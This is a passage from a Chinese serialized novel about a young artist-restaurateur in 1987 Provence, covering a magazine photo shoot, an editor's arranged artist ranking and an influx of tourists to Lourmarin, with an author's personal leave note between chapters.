还是穿着睡衣的限定版!! 巴蒂向前迈了一步,想要绅士的和伊内斯打招呼。 但伊内斯眼睛直勾勾的看着罗南,连看都没看他一眼。 “进去说吧。” “您怎么穿着睡衣?” “这半个月都在这里拍照和采访,我直接住在这间酒店里了。” “啊,那么辛苦。” “今天陪我好好吃顿饭,再喝几杯,这半个月除了工作就是工作,终于把你盼来了。” “别那么辛苦,休息一天没事的。” “等做完第一刊再休息吧。” 歌迪亚吃惊的看着罗南和伊内斯并肩进入化妆间内。 伊内斯居然和罗南这么熟悉吗? 他们的聊天太随意和自然了啊。 第430章 工作场合请称呼职务 米切兰杂志社把艺术家们分批次约来拍照和采访,这个时间段是属于罗南一行三人的。 20多平米的化妆间里聚集着化妆师、造型师和编辑等不少工作人员,空间显得略有些拥挤。 不过再拥挤,靠窗的角落附近也没有人敢靠近,那里坐着罗南和伊内斯。 “你不化妆吗?”伊内斯问罗南,“跟我们合作的都是大牌化妆师,平时给明星化妆的。” 罗南咧着嘴摇头: “化妆就算了吧,一会换一身衣服就好了。” 男孩子清清爽爽、自自然然的就很好,一化妆会显得油腻。 尤其罗南底子好.拍个照而已,没必要过度‘包装’。 伊内斯没有说什么。 妆造是米切兰杂志社免费提供的,需要就化,不需要就不化,只要艺术家没有怨言,杂志才不会管呢。 罗南急切的过来找伊内斯,也是想要先问一问关于普罗旺斯本土前100艺术家的情况: “名单弄好了?” 伊内斯将右腿覆到左腿上,轻轻的摇晃起来: “弄了好几个月,基本上算弄好了吧。” 罗南毫不掩饰激动的问: “我和佐伊的排名是?” 坦白讲,虽然佐伊和罗南在2月份的戈尔德系列艺术活动上大放异彩,但进入普罗旺斯艺术家的前一百名还是有些‘吃力’。 普罗旺斯这片神奇的土地自古便是艺术家的摇篮,近现代出现的优秀艺术家不计其数,虽然有些艺术家的状态起起伏伏,但曾经辉煌过的人不在少数。 如果‘按资排辈’,做为新晋艺术家代表的罗南和佐伊能不能进入前100还真难说。 罗南和佐伊之前讨论过这个问题。 佐伊认为他和罗南如果能进前一百,也应该是比较靠后的位置,因为可以讲出故事的前辈们太多了。 不过伊内斯说过,她会把罗南和佐伊的名次往前排一排,但即使这样,罗南也认为他们也很难进入前60。 伊内斯的脸上有挥之不去的疲惫,看起来像是在这件事上颇费了一番心力: “你排47,佐伊排39,佐伊比你名次高,是因为她的作品在市面上流通的更多,你只有那两个现象级别的作品,一点点来吧别着急,今年先在这个位置,明年再往上调整。” “这会不会太高了?”罗南没忍住惊呼出口,“我们排这么高能让人信服吗?” 这已经超过预期了,还要高? 伊内斯不以为然的挥了下手: “你和佐伊是米切兰杂志社‘深度’合作的艺术家,排名肯定有我们的考量,再说了,怎么排,我们说了算。” “但是——” 罗南的声音被伊内斯压了下去: “发刊前我给你和佐伊安排了几个活动,参加完那些活动,没有人会质疑你们的排名,别担心,这一套模式我们太熟悉了。” 《普罗旺斯艺术评论》将在6月发刊,而现在才4月中下旬,留给伊内斯的操作空间还有很多。 罗南和佐伊现在不配在那个位置但6月就说不定了。 米切兰杂志社通过类似的手段捧红了好几位在普罗旺斯家喻户晓的明星。 “什么活动?”罗南小声问。 伊内斯一下一下的荡着拖鞋: “5月份南法的大型活动不少,最重要的就是摩纳哥F1大奖赛,我送你们去嘉宾席看看比赛,参与些官方的活动,再跟我去摩纳哥王室的晚宴露露脸。” 作为全球最奢华的赛车盛事,F1大奖赛不仅是极速竞技的舞台,更是一场融合了高端艺术、时尚与社交的跨界嘉年华。 1987年的摩纳哥F1大奖赛是该赛事历史上第45届摩纳哥分站赛,也是南法纸媒代表米切兰杂志社和摩纳哥大奖赛合作的第17个年头.大家早已是密不可分的合作伙伴关系。 送几个人去参加活动、蹭蹭曝光简直是‘轻而易举’。 罗南嘴巴蠕动了半天,最终把话全部咽了下去。 每一个普罗旺斯男人,都有一个去看F1大奖赛的梦。 无论是之前的老酒馆,还是罗南现在的餐厅.只要有人喝多了,一定会激情澎湃的说‘今年我必须要去亲自看F1赛车’。 但现场观摩F1不是那么容易的。 摩纳哥F1大奖赛的特点是其狭窄的街道,观众席80%以上都是临时搭建的,比赛完会马上拆除,总观众席座位不会超过12000个。 而这其中又有40%不对外销售。 但即使你拿着一沓子钞票去摩纳哥,主办方也不会放你进入,可以说,在1987年去摩纳哥看F1大奖赛与身份和社会地位有着强挂钩关系。 连卢尔马兰最‘见多识广’的特奥都时常抱怨,卢卡斯也无法弄来票.而伊内斯说给就给了,并且还是稀缺的嘉宾席位置。 果然是伟大的会长大人! 厉害!! 至于去参加摩纳哥王室的晚宴.上帝,那太疯狂了! 不等罗南脑补太多,伊内斯拍了拍罗南的胳膊,示意他把耳朵凑过来: “近几年,摩纳哥尝试将高端艺术植入赛事,以吸引精英观众,今年比赛期间,摩纳哥王宫将举办艺术特展,你和佐伊如果时间允许去参与一下。” 罗南压低声音问: “什么主题?” 伊内斯晃动着粉红酒杯说: “速度与艺术。” 罗南认真想了几秒,遗憾的说: “这个主题不适合我们,参加进去有点困难。” 佐伊的创作风格始终围绕动物展开,那很难和‘速度’结合起来。 甜品和‘速度’联系到一起,罗南也没有什么画面,除非他换一个艺术品类。 想要参与这个艺术活动有点困难啊。 伊内斯并没有为难罗南,思考了几秒后才开口: “那就去参加奢侈品展览吧,今年劳力士和万宝龙都会举办艺术派对,我去问问主题,你和佐伊选择其中合适的参加。” 许多奢侈品品牌都非常热衷于冠名F1大奖赛,摩纳哥站更是大家的挚爱。 “好的。”罗南乖巧的答应下来。 拿了米切兰杂志社这么多好处,做点事情是理所应当的。 和奢侈品牵扯到一起,对他和佐伊来说,更是收获声量和名气的好途径。 有了围绕摩纳哥F1大奖赛这一套组合拳动作,到了6月《普罗旺斯艺术评论》发刊的日子,坐到那个位置也不会觉得那么‘烫’屁股了。 女孩子的妆发时间长,将近一个小时过去,佐伊的头发还没开始弄,而巴蒂那个‘骚包’也要求设计师给他做一个完美的造型。 见两个伙伴还需要不少的准备时间,罗南发起了一个新的对话内容。 “会长.”罗南小心翼翼的喊了一句。 这一声‘会长’让伊内斯一愣,把身体向罗南那一侧转了一下。 工作场所称职务,你喊我会长干什么? “会长。”罗南又喊了一句,笑着说,“兜兜转转,斯特斯加到我手上了。” 可能最近太过忙碌,休息时间也不够,伊内斯用了1秒钟时间消化罗南所说的句子。 突然,她放下酒杯,惊呼道: “你没有和我开玩笑吧?” 化妆间里的所有人同时看过去。 这些米切兰杂志社的员工从来没见过主编大人脸上的表情这么丰富过。 先是惊讶,随后是吃惊,再之后是狂喜! 没错,掩饰不住的狂喜! 罗南见那么多双眼睛看过来,捂着嘴和伊内斯说起了悄悄话。 伊内斯的眼睛顿时瞪大,不由得说了一句‘上帝’,随后也捂着嘴和罗南低语了起来。 听了一会,罗南呵呵呵呵的笑了起来,继续和伊内斯窃窃私语。 再之后伊内斯突然爽朗的大笑起来。 不过那笑容转瞬即逝,伊内斯的脸色突然严肃了下来,又附在罗南的耳边说了些什么东西。 之后的十分钟,罗南的脸色也很凝重,嘴里不停念叨“好的”、“嗯嗯”、“明白”、“懂了”等等词汇。 突然,这两人又同时哈哈大笑起来,整个化妆间里都回荡着他们肆无忌惮的笑声。 这笑声只持续了十几秒,两个人又默契的同时噤了声,继续窃窃私语。 “这两个人疯了?”这是米切兰杂志社员工们的第一反应。 一会笑,一会严肃,还神神秘秘的主编和那个叫罗南的艺术家在聊什么? 巴蒂看在眼里,急在心里,话憋在嘴里。 “快做好了吧?”他迫切的问化妆师。 快,我也要和穿着睡衣的女神窃窃私语! 化妆师最后调整了一下巴蒂的发型,满意的说: “做好了,您现在太帅了。” 巴蒂甩了下脖子。 他现在充满了自信! 另一边的佐伊也做好了妆发,罗南迫不及待的去看他美丽的未婚妻。 沙发位置空置下来,巴蒂一屁股坐到了伊内斯的身边。 “美丽的女士,上午好!”巴蒂露出自认为最迷人的笑容。 正在和同事说话的伊内斯把脸转过来问: “有什么事吗?” 巴蒂热情的问: “请问,我的排名是第几呢?” 罗南和伊内斯讨论艺术排名时使用的声音并不算低,巴蒂听到了他们的部分聊天内容。 还好罗南只问了他和佐伊的名字,这给了巴蒂一个和伊内斯接触的完美切入点! 他对伊内斯抛了个‘媚眼’。 快回答我,美丽的女士,我已经想好下一个问题了! 但伊内斯却回头问身边的同事: “这个人叫什么?” 巴蒂:“.” 不等伊内斯旁边的工作人员回答,歌迪亚先一步把巴蒂带走了: “抱歉,我和艺术家出去聊点事情。” 一出化妆间,歌迪亚指着巴蒂的鼻子,严肃警告: “你要是敢破坏罗南和米切兰杂志社的关系,我会让全卢尔马兰的女艺术家远离你!” 巴蒂高举双手,做投降状: “别误会,我只是见到女神有点兴奋,那是我最最最喜欢的女性,没有之一。” “你见谁不兴奋?”歌迪亚白了巴蒂一眼,用更加严厉的语气说,“米切兰杂志社是卢尔马兰艺术家在普罗旺斯‘出人头地’的重要媒介,拜托你长点脑子,你去搭讪伊内斯只会把这一切搞砸!” 歌迪亚的警告让巴蒂非常失落。 返回化妆间后,他独自坐在椅子上看着窗外,脸上没有一点生机,像是一个被全世界遗弃了的孤独王子。 米切兰杂志社请来的化妆师非常厉害,病态的巴蒂被打扮成了冷白皮吸血鬼王子的样子。 而本就‘天生丽质’的佐伊在化妆师的精心打扮后,像是一颗无与伦比的璀璨星星。 “你太美了。”罗南的眼睛一刻不舍得离开佐伊。 他的未婚妻太漂亮了! 佐伊谦虚的对罗南说: “是这位化妆师厉害。” 罗南侧头问那位化妆师: “可以留个联系方式吗?未来我们结婚的时候,可以邀请能来给佐伊化妆吗?” 那位化妆师小心翼翼的做最后的修饰,笑着说: “给这么漂亮的女孩化妆,谁能够拒绝呢?” 罗南低头亲了一下佐伊的脖子,因为不想破坏她脸上的妆容: “我们必须马上着手策划婚礼,我已经迫不及待了。” 他迫不及待的想要看到佐伊披上婚纱的样子,那一定美极了! 佐伊拍了拍罗南的后背: “你还是先去看看巴蒂吧,他的状态可不太好,歌迪亚一定说了什么比较严重的话。” 化妆间面积不大,巴蒂回来之后的状态大家都看在眼里。 罗南的肩膀颤抖起来,指着镜子让佐伊看: “我猜,巴蒂已经走出阴霾,他非常清楚该如何让自己开心起来。” “美丽的女士,上午好,我叫巴蒂,你认为我这个造型应该配什么样的衣服去拍照呢?” “白衬衣?上帝,我们也太有默契了,刚刚我脑海中第一个出现的就是白衬衣,那很符合我今天的气质对不对?” “哈哈,和你共事真是太开心了,你们服装造型师平时的工作累不累?你都是待在在阿维尼翁吗?” 巴蒂很快调整好了自己的状态。 屋子里那么多人,歌迪亚只警告他不要去接触伊内斯,又没说不能接触其他人。 但听到罗南接手斯特斯加的伊内斯,始终没有走出那种喜悦的状态之中。 罗南接手斯特斯加,是除了阿斯特丽德外第二好的结果。 未来沃克吕兹省粉红酒爱好者协会又可以有美味的粉红酒喝、聚会不断了! 和佐伊‘耳鬓厮磨’了一会后,罗南又回来找伊内斯。 他还有一件事情没有说呢。 “伊内斯,你应该知道,我还在卢尔马兰组建了一个手工艺合作社,现在妇女们开始做编织家具了。”罗南给伊内斯倒酒,“听说家具可以和杂志合作软性植入,我想打听下,如果要合作一本你们的杂志需要多少费用?” 伊内斯越看罗南越顺眼。 他对粉红酒的热爱堪比阿斯特丽德,接手了重要的斯特斯加,除此之外这个孩子还开了一家餐厅,拥有一间手工艺合作社.更恐怖的是,他还是一位著名的艺术家。 这可比她那不争气的儿子厉害太多了。 这两个人才差了三四岁,一个一见面只知道要钱,另一个可以像大人一样和自己聊正事,并且能帮助自己‘排忧解难’了。 事实上,伊内斯从来没有忘记斯特斯加的着落问题,因此她今天格外的开心。 “我们的杂志经常需要一些有特色的拍摄场地,你装饰一个场所出来,里面摆着你想要卖的家具,之后我安排人去你那里做采访,应该可以露出一些照片,如果效果不错,再聊正式商务合作的事情吧。”伊内斯像是老母亲一样操心的说,“年轻人做点事业不容易,别乱花钱了。” 请假条 本来不想说现实里的事,但最近更新确实有点拉,还是得给每天追更的朋友们一个解释,放一天就删了。 这月3号请假是因为我爸去医院看病,直接被留住院,4号做完增强CT基本确认了Ca。 当天我就找朋友约了协和的专家号,5号做完肠镜直接带人来了bj。 协和不认外地的检查结果,所有检查都是重新做的,好不容易要排手术了,肺上又检查出了一个比较大的结节,要重新评估远端转移的可能性。 我爸身体一直特别好,出了这个事太突然,带他看病的同时还要安抚我妈的心情.......怎么说呢,这半个月我顺利的完成了一个小登向中登的转变,感觉一下就成大人了。 不过经历重重困难,今天上午所有的检查和会诊结束,终于开始排手术了,中午打点完牛牛,下午马不停蹄又开车回tj来借白片做免疫组化,这个点刚吃上今天的第一口热乎饭,实在是更不动了。 这个月应该还要请假一天,是我爸做手术的日子。 实在抱歉了各位,只要有时间我肯定会多写点的。 第431章 聪明的小男孩 有伊内斯在一旁坐镇,拍照和采访环节都进行的相对顺利。 罗南、佐伊和巴蒂完成全部工作,还能赶上一个午饭的尾巴。 伊内斯没有和罗南聊够,邀请他们再去喝两杯。 虽然主编大人没有明说,但很显然,她的邀请名单里只有罗南和佐伊两个人,因为她全程只和这两个人说过话。 这个情况让罗南和佐伊有些为难他们一起来的是四个人啊。 “别犹豫,你们快去。”返回化妆间,歌迪亚看着佐伊和罗南说,“我中午正好还有其他的事情要做,咱们分头行动。” 佐伊追问道: “你要去做什么?” 歌迪亚指了指他们身后的几个编辑,与佐伊耳语道: “你们接触上面,我来接触下面,我们上下一起发力.把米切兰杂志社彻底‘吃透’!” 伊内斯能每一个项目都参与吗? 她这种级别的人物,恐怕只会在刚发刊的这段时间多放些精力过来,毕竟需要她费心费力的报刊还有那么多本呢。 所以说,与《普罗旺斯艺术评论》的编辑们搞好关系也是非常有必要的,而今天就是一个很好的机会。 见罗南和佐伊依旧犹豫不决,歌迪亚继续小声和他们解释: “不要小看这些杂志编辑,他们手里的人脉资源非常丰富.从赞助商,到地方财阀,再到各个领域的领军人物都有交集,多认识几个编辑,未来有的是大用。” 佐伊侧头看了一眼罗南,见他没有反驳,才放心的说: “好,那我们各自行动,约在这里集合。” 歌迪亚对巴蒂挥了下手,语气不算多好的说: “接下来的2个小时,你的嘴只有吃饭这一个功能,不要给我添乱!” 巴蒂想都没想,兴致勃勃的跟着歌迪亚走了: “好好好,我保证不耽误你们聊工作!” “这个巴蒂啊”佐伊小声嘀咕了一句,笑着摇了摇头,“他还记得‘女神’是谁吗?” 见罗南半天没给反应,佐伊轻轻碰了一下罗南的胳膊: “想什么呢?你好久没说话了。” 罗南从思考状态脱离,笑着给佐伊解释: “我之前不清楚杂志编辑会认识那么多人,歌迪亚提醒了我也许我可以请一个朋友帮忙,开拓一下斯特斯加在黄金海岸那一片区域的市场。” 如果刚刚开刊的《普罗旺斯艺术指南》杂志编辑都有这么厉害,《海岸》的编辑切尔诺是不是更加厉害了? 《海岸》是米切兰杂志社影响力最深远的一本杂志,其影响力和规模不是刚刚开刊的其他杂志所能比的。 而切尔诺主要负责的黄金海岸那一片区域恰恰是粉红酒在普罗旺斯最重要的一片市场.他是不是能在粉红酒的推广上帮一帮忙呢? 回到卢尔马兰后,罗南立即联系了切尔诺。 伊内斯已经知道罗南接手了斯特斯加的消息,不停鼓励罗南好好干,有什么需要帮忙的地方尽管说,罗南说请求的时候也就很直接了。 切尔诺的态度也很清晰。 首先,切尔诺知道罗南是伊内斯的朋友,而且是非常重要的朋友。 其次,对于他来讲,在普罗旺斯拥有多重身份,且具有一定影响力的罗南,也是他需要尽职尽责维护的资源和人脉之一。 最后,切尔诺不会忘记,罗南主动称呼其为朋友。 朋友之间帮个忙不是天经地义的吗? 但是—— “我可以如何帮助您呢?”切尔诺拿不准的问。 他的确认识黄金海岸线这片区域里的许多重要人物,但他不知道罗南需要的是哪个啊。 “你平时在哪里工作?”罗南问。 “我很少有机会在办公室里坐着,活动在哪里我就在哪里,最近在尼斯活动,要一直待到5月中旬。” “那太棒了。”罗南开心的说,“我的一位合伙人马上要去尼斯,如果时间允许,我安排你们见个面可以吗?” 卢卡斯下个月正准备要去尼斯看看。 “没问题。”切尔诺一口答应下来,“等你的合伙人到了,我来好好招待他。” “那真是太感谢你了。”罗南感激的说,“最近有些事情要留在卢尔马兰处理,等我忙完手里的事情,一定去尼斯和你见一面。” 尼斯是佐伊最喜欢的城市。 按照道理来讲,有可以去尼斯的机会,罗南应该答应下来,并带着佐伊去玩一圈。 但临近4月底,罗南除了要接待好朋友托尔,还有一个梅纳村的面包大赛需要准备。 接待托尔事情已经完成的差不多了。 后院的独立区域已建好,二楼的客房也打扫出来了,只等托尔的到来。 但面包大赛做什么、怎么做,罗南还没有什么头绪。 就像罗天海说的,这是餐厅在普罗旺斯的第一次‘亮相’,还是需要花费一些心思去准备的。 名次什么的不重要,重要的是展示出来他们的特色。 还好,去年佐伊带罗南参观过梅纳村的面包大赛盛况。 那里各式各样的面包给罗南打开了一扇通往‘面包世界’的大门,因此罗南对这项美食活动有一定的了解。 有的参与者在外形上别出心裁,巨大的,更宽的、扁平的、方的、圆的.还有做的像艺术品一样精致的。 有的参与者在面包类型和口味上做起了文章,就比如去年面包大赛的冠军,来自卡布瑞村的一家面包店。 罗南清楚记得,去年参观这个面包店的摊位时,那位身材肥硕的老板给大家试吃了十七八种面包,而且每一种面包都是搭配不同食物吃的。 但这次参赛,罗南要走哪条路呢? 事实上,从外形上做文章是罗南更加‘得心应手’的。 甜品他都能雕刻出美丽的花纹,将面包做成‘艺术品’对于罗南来说非常轻松和容易。 但罗南参加面包大赛的目的是为了给餐厅做曝光,吸引来更多的游客去那里,参考到这个原因,又必须把餐厅的特色考虑进去。 如果是这样的话,从‘口味’上进行发挥似乎更加适合一些——让游客尝一尝特色的中式口味面包,他们才能对中餐感兴趣,从而想去距离梅纳村不远的卢尔马兰,尝一尝更加有特色的东西。 思路似乎已经想明白了。 但罗南的‘野心’不止于此。 在2月初参与戈尔德系列活动时,罗南尝到了‘一石二鸟’的甜头。 自己取得不俗成绩的同时,他还会尽力给伙伴们送去关注度。 那么大型、有主题要求的活动,罗南都不甘于只达成一个目的,这次‘玩着就干了’的面包大赛目的又怎会只有一个呢? “还要加上一个粉红酒!”罗南的思路非常清晰。 除了制作出具有中式特色的面包给餐厅吸引顾客外,罗南还想要把面包制作成可以搭配粉红酒食用的口味,给斯特斯加也引一引流。 谁说现场的摊位只能展示面包? 罗南决定把酒也摆上去! 确定好目标,下一步的任务就是去找‘食谱’了。 粉红酒适合搭配海鲜、肉类或者尼斯沙拉等拥有传统中海口味的食物一起饮用。 但做成面包.要如何组合呢? 托尔两次来普罗旺斯都是坐火车到阿维尼翁,之后搭车去的卢尔马兰。 这一次,罗南坚持要去阿维尼翁接他。 而托尔的脾气和他的笑声一样——都很像牛。 他死活不答应罗南去接他的提议,表示自己可以,他不想耽误罗南的时间。 虽然罗南表面上妥协了,但害怕好朋友‘出尔反尔’,托尔只是告诉罗南他来普罗旺斯的日子,没有告诉他火车班次和到普罗旺斯的时间。 坐在火车上,看着窗外愈发普罗旺斯化的风景,托尔开心的哼起了一首经典的法国儿歌《聪明的小男孩》。 这首儿歌讲的是一个机灵的小男孩,用智慧解决一个个问题的故事。 “有个小男孩,他像狐狸一样聪明.”托尔哼到一半控制不住的笑出声来。 他的聪明不止体现在为了阻止罗南来接他,没有告诉他列车班次。 还体现在他请了两天假提前来到了普罗旺斯。 上次他是在复活节的假期之中坐车来普罗旺斯的,那天火车站里的人多到他都看不清出口在哪里。 这次他学聪明了,比游客们早来了两天。 当然了.这样做的原因也是因为他想念罗南和这片土地。 想到这里,托尔的嘴里又哼起了《聪明的小男孩》的旋律。 列车广播通知还有三十分钟就要到达阿维尼翁,但托尔已经拿好了行李站在车厢门口等待。 他小心翼翼的保护好自己的行李箱。 上次来只带了一身换洗衣服,但这一次带他了五身其中还有一身是专门烹饪时穿的,因为罗南在电话里说,要带他在普罗旺斯多玩几天,听说还有非常有趣的面包大赛。 托尔喜欢一切和吃有关的东西。 他期待的看向玻璃外的城市,今天他一定会顺利的找到出口。 但让人意外的是.托尔身后排队下车的人越来越多,越来越多.虽然今天是复活节前两天,但下车的人似乎比去年在复活节时到来时还要多。 不过好消息是,这次托尔顺利的找到了出站口。 因为人流量大到不需要他自己找,被人潮推着就可以找到出口了。 顺利的离开了拥挤的阿维尼翁火车站,托尔的下一步计划是找车子去卢尔马兰。 这一步应该是一整趟旅途中最艰难的。 卢尔马兰不是什么热门的小村子,找车非常困难。 上个月托尔来普罗旺斯参加罗南和佐伊的求婚仪式,在阿维尼翁火车站附近找了1个多小时,只找到了一辆去戈尔德的车子。 被逼无奈托尔只能上了那辆车,但那辆车把他送到戈尔德后,再想找去卢尔马兰的车变得无比困难,托尔用求的方式,才求来了一个司机送他过去。 所以这次‘像狐狸一样聪明的小男孩’决定,必须在阿维尼翁火车站附近找到直接能去卢尔马兰的顺风车,即使等五个小时、六个小时也要等。 为了实行这个计划,‘聪明的小男孩’还准备了两件‘利器’! 一个是累了可以随时坐下的小垫子,一个是写着‘卢尔马兰’的牌子。 有了这两个利器,托尔认为他一定可以顺利的抵达卢尔马兰。 “有个小男孩,像狐狸一样聪明.”拥挤的人流中,响起了一道愉悦的歌声。 托尔手里拿着小垫子、牌子和行李箱,根据记忆中的路线去往停车场外那条车流量非常大的主路。 他去年和今年来普罗旺斯,都是在这条路上找到顺风车的。 但还没离开停车场的区域,就有一个陌生人来找‘聪明的小男孩’搭讪了。 “去卢尔马兰吗?”一个带着毛帽子的中年男人问托尔。 托尔停下来,瓮声瓮气的回: “对,去卢尔马兰。” 那人用大拇指指了一下停车场的方向: “你运气真好啊小伙子,可以马上发车,50法郎!” 托尔认真审视面前的陌生人: “‘马上’是什么时候?” 罗南曾经给托尔科普过‘普罗旺斯时间’。 他告诉托尔,在普罗旺斯,‘马上’是今天不知道什么时候的意思,但现在才中午11点多。 那个人一愣,之后不耐烦的说: “马上就是马上啊,你上车我就发车了,现在车上已经有4个人了。” “他们全部去卢尔马兰?”托尔憨厚的问。 司机做了一个‘晦气’的手势,转头就走: “神经病吧,爱去不去,反正去卢尔马兰的人多的是。” 托尔赶紧追上去。 他不知道发生了什么情况,导致去卢尔马兰的人变多了、车变好找了,但不能错过这辆车子啊。 可刚跑了两步,第二个陌生人又把他拦下。 一个瘦弱的老头,用像瓶盖一样厚的眼镜仔细看了两眼托尔腋下的牌子,确认那写的是‘卢尔马兰’后才开口: “我去卢尔马兰,45法郎,我只要45法郎,跟我走吧小伙子。” 一辆破旧的小巴行驶在吕贝隆最重要的D943号公路上。 车厢里随处可以听到游客们讨论卢尔马兰哪里好玩,哪里好吃话题的声音。 独自出行的托尔局促的挤在两个陌生游客之间,胳膊和腿一动不能动,不过他嘴里哼着欢快的歌曲。 “有个小男孩,像四叶草一样幸运.” 第432章 又是一年旅行季 在普罗旺斯,如果搭车的对象是卡车司机或者私家车主,那么热情的本地人大概率会把人直接送往目的地。 例如托尔之前两次来卢尔马兰,都是直接在罗南家门口下车,省去了拉着行李箱四处寻找的难题。 但这次,他是坐私营小巴来的卢尔马兰。 那位戴着厚眼镜的车主好心的将车停在了距离卢尔马兰游客服务中心最近的路口。 车上的其他游客们开心的走下车子,开始他们的卢尔马兰之旅,但这却给托尔带来了难题——罗南家住在远离村中心的区域,他找不到去罗南家的方向了。 不过这并没有难倒‘聪明的小男孩’。 罗南的餐厅在村中心的区域,他去过! 只要去了那里,就能找到罗南。 卢尔马兰村中心的街道分布非常简单——村子以老教堂为中心如蜗牛壳般缓慢散开。 只要走入主干道,托尔很快就能找到商业街的方向。 可新的难题接踵而至。 今天并不是卢尔马兰举行集市的日子可街道上的游客和行人太多了,这让拉着行李箱的托尔很难前行。 “需要住宿吗伙计?”托尔在卢尔马兰游客中心附近,遇到了一位热心的本村村民,“我可以告诉你哪里能找到落脚的地方。” 那人见托尔拉着行李箱,主动过来询问是否需要帮助。 托尔礼貌的摇头: “不用了,谢谢。” 那村民笑着点了点头: “明白,现在卢尔马兰的住宿太贵了,都快和博尼约一样的价格,你还是大学生吧?” 托尔眼神中清澈的愚蠢被这位村民解读出了其他的意味。 托尔开心的笑了两声,显然很开心自己再次进入大学生的队列: “我在卢尔马兰有落脚的地方了。” 卢尔马兰街道狭窄,周围的游客又多,大家的前进速度很是缓慢。 这给了两个人更多的聊天空间。 “商业街上的酒店早在一个多月前就订满了,让我猜猜,你应该住在‘民宿’里,是阿尔皮克家?”那村民有一搭没一搭的和托尔闲聊,“或者莫可林家?” 托尔呵呵笑了两声: “不是,我住在同学家。” “哦,你原来有朋友在卢尔马兰啊。”那村民颇为意外的侧头看托尔,“不错不错,卢尔马兰今年多了许多可以游玩的地方,让朋友带你四处转转,我所工作的画廊在村子的另一边,如果感兴趣可以去看看。” 人群突然停了下来,无法前行,即使身高马大的托尔都无法看清前方发生了什么。 他身边的村民习以为常的点了一根烟: “前面是粉红酒博物馆,那里每天都排起长长的大队,有四五天了。” 去年托尔来卢尔马兰曾经问过罗南卢尔马兰有什么好玩的。 罗南说,卢尔马兰只有两个景点,一个是老教堂,一个是卢尔马兰城堡,其他的地方就是散落在村子四处的喷泉。 “新建的”托尔瓮声瓮气的自言自语。 热情的卢尔马兰村民以为托尔是在和自己聊天,回答道: “是的,刚刚试营业不到一个月,政府对这个项目的宣传力度非常巨大,来卢尔马兰的游客都会去那里面看看。” 那人突然看托尔: “诶对了,你也要去粉红酒博物馆吗?” 他们现在去的正是商业街的方向,所以才会‘堵车’。 托尔有一丝犹豫,事实上他最爱看热闹了,可是他要先去通知罗南,自己到了。 见托尔没有回答,那村民热心的说: “如果你不着急,又找好了落脚的地方,可以晚一点去,通常情况下,过了下午3点博物馆的游客就少了,游玩体验更佳,在等待的这段时间,你可以先去玩点别的。” “先不玩了。”托尔摇头,“我的同学在等我吃饭。” 罗南在电话里说,要给托尔做他最拿手的菜肴。 那村民耸肩,笑着说: “没事,那就等你和朋友吃完饭再去,卢尔马兰还有一个葡萄园野餐项目,你可以之后去体验体验。” “葡萄园野餐?”托尔捕捉到了另一个感兴趣的东西,侧头望过去,“坐在葡萄园里吃饭吗?” 博物馆巴黎有,只是他没看过粉红酒主题的。 但巴黎没有葡萄园啊,罗南家的葡萄园托尔也不敢进去那里面经常有野猪出没,还有蝮蛇! 那地方太危险了。 那村民摇头: “坐在葡萄园里吃饭太晒了伙计,那会弄伤你的皮肤,是在葡萄园中的凉亭野餐,既可以欣赏葡萄园的美景,又可以躲在阴凉里,嘴里还能尝到最地道的普罗旺斯美食,当然了,如果你想,也可以带着面包、阿尔勒香肠、邦翁奶酪和十几种前菜去葡萄藤旁边吃,卢尔马兰会满足每一位游客的需求,我发誓。” 托尔被这人说心动了.变得更加犹豫。 那场景似乎挺不错的? 那村民把烟掐了,指了一个方向,好心提醒: “如果今天想去要抓紧了,再犹豫一会饭恐怕要没了,这是卢尔马兰现在最受欢迎的游玩项目,食物全部是本村妇女新鲜制作的。” 托尔小心翼翼的问: “野餐要吃多长时间?” 既然罗南不知道自己几点到的.那晚去一会应该也没事吧? “这要看你的意愿了伙计。”那村民笑着说,“只要你想,可以在那里待上一整个下午,看完日落再回去,如果你吃完想去做别的可以随时离开,毕竟卢尔马兰现在可以游玩的项目太多了,除了粉红酒博物馆,还可以去‘卢尔马兰手工艺合作’参观并让妇女们教你做个小纪品,又或者去参观艺术集市、体验其它艺术项目、去老教堂和卢尔马兰城堡参观等等,没有一两天玩不完的。” 这位村民在画廊工作,对卢尔马兰的旅游项目相对熟悉,每天总有一些游客在画廊里询问他们游玩建议。 托尔立四处张望: “从哪里去那个葡萄园?” 那村露出了灿烂笑容: “我先带你把行李存起来,之后有人开车带你过去。” 三分钟后。 这位热心的村民把托尔交到了一个皮肤黝黑的汉子手里: “杜马,这位先生先要去体验葡萄园野餐项目。” 杜马立即露出友好又专业的笑容: “这位先生,我带您去我们的办公室,就在这附近,我会给您详细的讲解项目的具体游玩内容和花费,您喝粉红酒吗?不要紧张,是免费的,即使听完之后您改变了主意,我们的老板也会请您免费品尝。” 托尔舔了舔干裂的嘴唇: “粉红酒?冰镇的吗?” 半个小时后。 杜马在画廊里找到了刚刚那位热心的村民,将他叫出来把一张法郎塞到了他的手里。 “罗南说了,无论是谁介绍来了顾客,都要给好处费,谢谢你了啊纽伦。” 纽伦眼睛瞪得大大的。 他是在去游客中心办事的路上,碰到这个拿着行李箱、看起来需要帮助大家伙的。 在画廊工作让他对这些游客的态度相对友好,所以想着是不是能给他提供一些帮助。 没没到,就那么几分钟的功夫,居然赚到钱了? 杜马没有过多停留,立即离开: “最近我们斯特斯加要忙死了,先不跟你说了啊,我回去了。” 纽伦低头看着手里的法郎纸币: “我爱旅行季!” “诶,纽伦,晚上一起去喝酒啊。”有村民路过画廊,看到了愣愣发神的纽伦。 纽伦一路小跑过去,小声对他们说: “你们知道吗,帮斯特斯加的几个游玩项目介绍游客,可以拿好处费!虽然不多,但是这钱好赚啊,和游客介绍一下卢尔马兰的游玩项目就能拿到你们几个在路上遇到需要帮助的游客记得一定要热情一点。” “真的假的?还能给钱?” “真的,你看啊,杜马把钱给我送来了!” 商业街,罗南的餐厅。 “游客怎么提前这么多天就到卢尔马兰了呢?” 看着餐厅门外等候的顾客,冯珍恨不得把自己的收银台都让出去给顾客们坐。 正常来说,复活节假期开始,游客才会抵达普罗旺斯。 但卢尔马兰的游客量在四五天前便开始激增,到近两天更是来到了一个大峰值,餐厅外都开始有人排队了。 可现在还没到复活节.也就是说,真正的游客大军还在路上。 等过几天,卢尔马兰得热闹成什么样子? 罗南咂着嘴说: “普罗旺斯可以游玩的村庄就那么十几个,突然出现了一个新的名字,游客们肯定想要来看看,每年都去梅纳村和戈尔德也没什么意思。” 在法国,有80%的居民每年会安排一次出游,而这次出游又大概率会安排在4-8月份。 他们的目的地大部分是乡村或者海滨。 